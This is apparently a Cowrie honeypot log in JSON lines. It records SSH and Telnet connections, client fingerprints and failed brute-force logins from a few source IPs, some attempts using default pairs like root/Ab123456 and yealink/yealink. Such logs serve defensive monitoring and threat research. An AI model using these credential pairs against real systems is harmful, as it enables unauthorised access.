{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:37.025116Z","src_ip":"45.156.87.204","session":"d9f8e6825490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:37.270746Z","src_ip":"45.156.87.204","session":"d9f8e6825490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:38.470855Z","src_ip":"45.156.87.204","session":"d9f8e6825490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57962,"dst_ip":"159.203.135.109","dst_port":22,"session":"cae2131ea2b2","protocol":"ssh","message":"New connection: 45.156.87.204:57962 (159.203.135.109:22) [session: cae2131ea2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:40.482103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:40.486632Z","src_ip":"45.156.87.204","session":"cae2131ea2b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:40.724467Z","src_ip":"45.156.87.204","session":"cae2131ea2b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:41.048271Z","src_ip":"45.156.87.204","session":"cae2131ea2b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.49528408050537,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:41.954025Z","src_ip":"152.42.224.71","session":"d5879651e04a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:42.132774Z","src_ip":"45.156.87.204","session":"cae2131ea2b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47672,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e21f5b6ceb7","protocol":"ssh","message":"New connection: 45.156.87.204:47672 (159.203.135.109:22) [session: 0e21f5b6ceb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:44.244630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:44.252269Z","src_ip":"45.156.87.204","session":"0e21f5b6ceb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59230,"dst_ip":"10.17.0.5","dst_port":23,"session":"439126eb1b21","protocol":"telnet","message":"New connection: 152.42.224.71:59230 (10.17.0.5:23) [session: 439126eb1b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:44.313830Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:44.334907Z","src_ip":"45.156.87.204","session":"0e21f5b6ceb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:44.610611Z","src_ip":"45.156.87.204","session":"0e21f5b6ceb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59248,"dst_ip":"10.17.0.5","dst_port":23,"session":"71837ce18cf2","protocol":"telnet","message":"New connection: 152.42.224.71:59248 (10.17.0.5:23) [session: 71837ce18cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:45.483366Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:45.694915Z","src_ip":"45.156.87.204","session":"0e21f5b6ceb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59240,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12dc7d704cd","protocol":"telnet","message":"New connection: 152.42.224.71:59240 (10.17.0.5:23) [session: d12dc7d704cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:45.873769Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":51304,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b98abb5d96","protocol":"ssh","message":"New connection: 42.200.78.78:51304 (159.203.135.109:22) [session: 38b98abb5d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:47.819554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:47.824466Z","src_ip":"42.200.78.78","session":"38b98abb5d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47684,"dst_ip":"159.203.135.109","dst_port":22,"session":"668d73c48f11","protocol":"ssh","message":"New connection: 45.156.87.204:47684 (159.203.135.109:22) [session: 668d73c48f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:47.838676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:47.846662Z","src_ip":"45.156.87.204","session":"668d73c48f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:47.928452Z","src_ip":"45.156.87.204","session":"668d73c48f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:48.037366Z","src_ip":"42.200.78.78","session":"38b98abb5d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:48.172613Z","src_ip":"45.156.87.204","session":"668d73c48f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102829933167,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:48.840538Z","src_ip":"152.42.224.71","session":"9d6409d11bca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"deng1988","message":"login attempt [root/deng1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:48.920009Z","src_ip":"42.200.78.78","session":"38b98abb5d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:49.263267Z","src_ip":"45.156.87.204","session":"668d73c48f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:50.135813Z","src_ip":"42.200.78.78","session":"38b98abb5d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47692,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e11507cb40f","protocol":"ssh","message":"New connection: 45.156.87.204:47692 (159.203.135.109:22) [session: 3e11507cb40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:51.452288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:51.457936Z","src_ip":"45.156.87.204","session":"3e11507cb40f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:51.536061Z","src_ip":"45.156.87.204","session":"3e11507cb40f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:51.856015Z","src_ip":"45.156.87.204","session":"3e11507cb40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38522,"dst_ip":"10.17.0.5","dst_port":23,"session":"36008540bf92","protocol":"telnet","message":"New connection: 152.42.224.71:38522 (10.17.0.5:23) [session: 36008540bf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:52.254784Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:52.940000Z","src_ip":"45.156.87.204","session":"3e11507cb40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38528,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0d1b3aa209","protocol":"telnet","message":"New connection: 152.42.224.71:38528 (10.17.0.5:23) [session: ee0d1b3aa209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:53.665671Z"}
{"eventid":"cowrie.session.closed","duration":120.00180172920227,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:54.011265Z","src_ip":"152.42.224.71","session":"115ce670b9c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d2c38ce4864","protocol":"ssh","message":"New connection: 45.156.87.204:57032 (159.203.135.109:22) [session: 8d2c38ce4864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:54.850145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:54.857630Z","src_ip":"45.156.87.204","session":"8d2c38ce4864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:54.941141Z","src_ip":"45.156.87.204","session":"8d2c38ce4864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:55.188650Z","src_ip":"45.156.87.204","session":"8d2c38ce4864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:56.373042Z","src_ip":"45.156.87.204","session":"8d2c38ce4864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57038,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf15e0e1ca1","protocol":"ssh","message":"New connection: 45.156.87.204:57038 (159.203.135.109:22) [session: 0cf15e0e1ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:58.321531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:58.326257Z","src_ip":"45.156.87.204","session":"0cf15e0e1ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:58.408310Z","src_ip":"45.156.87.204","session":"0cf15e0e1ca1","protocol":"ssh"}
